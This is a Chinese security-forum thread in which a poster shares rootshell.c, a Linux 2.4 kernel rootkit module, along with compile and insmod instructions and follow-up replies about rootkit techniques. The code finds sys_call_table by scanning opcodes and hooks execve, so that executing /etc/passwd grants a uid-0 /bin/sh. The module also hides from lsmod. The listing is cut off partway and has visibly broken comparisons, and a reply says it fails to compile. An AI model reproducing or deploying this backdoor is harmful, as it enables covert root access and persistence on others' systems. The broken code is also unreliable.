发新话题
打印

[原创]Linux rootshell.c for kernel 2.4.x

[原创]Linux rootshell.c for kernel 2.4.x

文章作者:sgl
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

rootshell.c 是我的linux rookit tthacker中的一个功能,通过执行/etc/passwd,即可获得的一个rootshell.如果你熟悉linux 2.6内核编程的话,可以将其移植到2.6的平台上,模块中对sys_call_table地址的寻找和对系统调用的劫持,应该可以工作到2.6内核下.

* Compile with:

* gcc -I/usr/src/linux-2.4.20-8/include -c rootshell.c

* [root@tthacker capturemod]# insmod rootshell.o

* [tthacker@tthacker capturemod]$ /etc/passwd
  [root@tthacker capturemod]# id
  uid=0(root) gid=0(root) groups=500(tthacker)
  [root@tthacker capturemod]#

* [root@tthacker capturemod]# lsmod|grep rootshell
  [root@tthacker capturemod]#

[code]

/*
* rootshell.c, part of the tthacker package
                                                      
* Ported to kernel 2.4.x 2006 by W.Z.T <tthackers@163.com>
                                                      
* execve "/etc/passwd" to get a rootshell.
                                                      
* Compile with:
                                                      
* gcc -I/usr/src/linux-2.4.20-8/include -c rootshell.c
                                                      
* [root@tthacker capturemod]# insmod rootshell.o
                                                      
* [tthacker@tthacker capturemod]$ /etc/passwd
  [root@tthacker capturemod]# id
  uid=0(root) gid=0(root) groups=500(tthacker)
  [root@tthacker capturemod]#
                                                      
* [root@tthacker capturemod]# lsmod|grep rootshell
  [root@tthacker capturemod]#
                                                      
*/
                                                      
                                                      
#ifndef MODULE
#define MODULE
#endif
                                                      
#ifndef __KERNEL__
#define __KERNEL__
#endif
                                                      
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/string.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/slab.h>
#include "uaccess.h"
                                                      
MODULE_LICENSE("GPL");
                                                      
struct descriptor_idt
{
      unsigned short offset_low;
      unsigned short ignore1;
      unsigned short ignore2;
      unsigned short offset_high;
};
                                                      
static struct {
      unsigned short limit;
      unsigned long base;
}__attribute__ ((packed)) idt48;
                                                      
#define MODULE_NAME "rootshell"
                                                      
char *command="/etc/passwd";
                                                      
char *rootshell="/bin/sh";
                                                      
static unsigned int SYS_CALL_TABLE_ADDR;
                                                      
void **sys_call_table;
                                                      
int base_system_call;
                                                      
int (*orig_execve)(struct pt_regs regs);
                                                      
unsigned char opcode_call[3]={0xff,0x14,0x85};

int match(unsigned char *source)
{
      int i;
      for(i=0;i<3;i++){
           if(source != opcode_call)
                return 0;
      }
      return 1;
}
                                                      
int get_sys_call_table(void)
{
      int i,j;
      unsigned char *ins=(unsigned char *)base_system_call;
      unsigned int sct;
                                                      
      for(i=0;i<100;i++){
           if(ins==opcode_call[0]){
                if(match(ins+i)){
                      sct=*((unsigned int *)(ins+3+i));
                      return sct;
                }
           }
      }
                                                      
      printk(KERN_ALERT "can&#39;t find the address of sys_call_table\n");
      return -1;
}
int n_execve(struct pt_regs regs)
{
      int error=0;
      char *filename=NULL,**argv;
                                                      
      filename=getname((char *)regs.ebx);
                                                               
      if(!strcmp(filename,command)){
           current->uid=current->euid=current->suid=current->fsuid=0;
           current->gid=current->egid=current->sgid=current->fsgid=0;
                                                               
           strcpy(filename,rootshell);
           argv=(char *)regs.ecx;
           put_user(0,argv+1);
      }
                                                               
      error=do_execve(filename,(char **)regs.ecx,(char **)regs.edx,

附件

rootshell.tar.gz (3 KB)

2006-6-13 00:45, 下载次数: 91

http://tthacker.sitesled.com

TOP

记得有一次,我从2.4到2.4内核升级总会出现问题,一直找不到原因,也找不出可能出现的原因
但是从2.4升级到2.6就很快成功也没有一点问题
我有点纳闷
别人说啥就是啥啊???

TOP

引用:
这里是引用第[2 楼]virus-y2k2006-06-25 14:08发表的:
这个基本不算太难.....
2.4.18内核以前写一个rookit不是难事,sys_call_table可以直接导出,这样截获某个系统调用就可以hacking了。其以后的sys_call_table不在导出,目前网上也就流传2,3种得到sys_call_table地址的方法,所以2。4。20和2。6以后的rookit比较少见,出名也就adore和knark。。。
http://tthacker.sitesled.com

TOP

友情提示:
      觉得LZ应该把参考文章也写上!
     

                                  羊

TOP

参考文章n多,又不是写论文~

先把最重要的那个写上:<<c语言程序设计>>
http://tthacker.sitesled.com

TOP

貌似编译不过的的说~~~

TOP

发新话题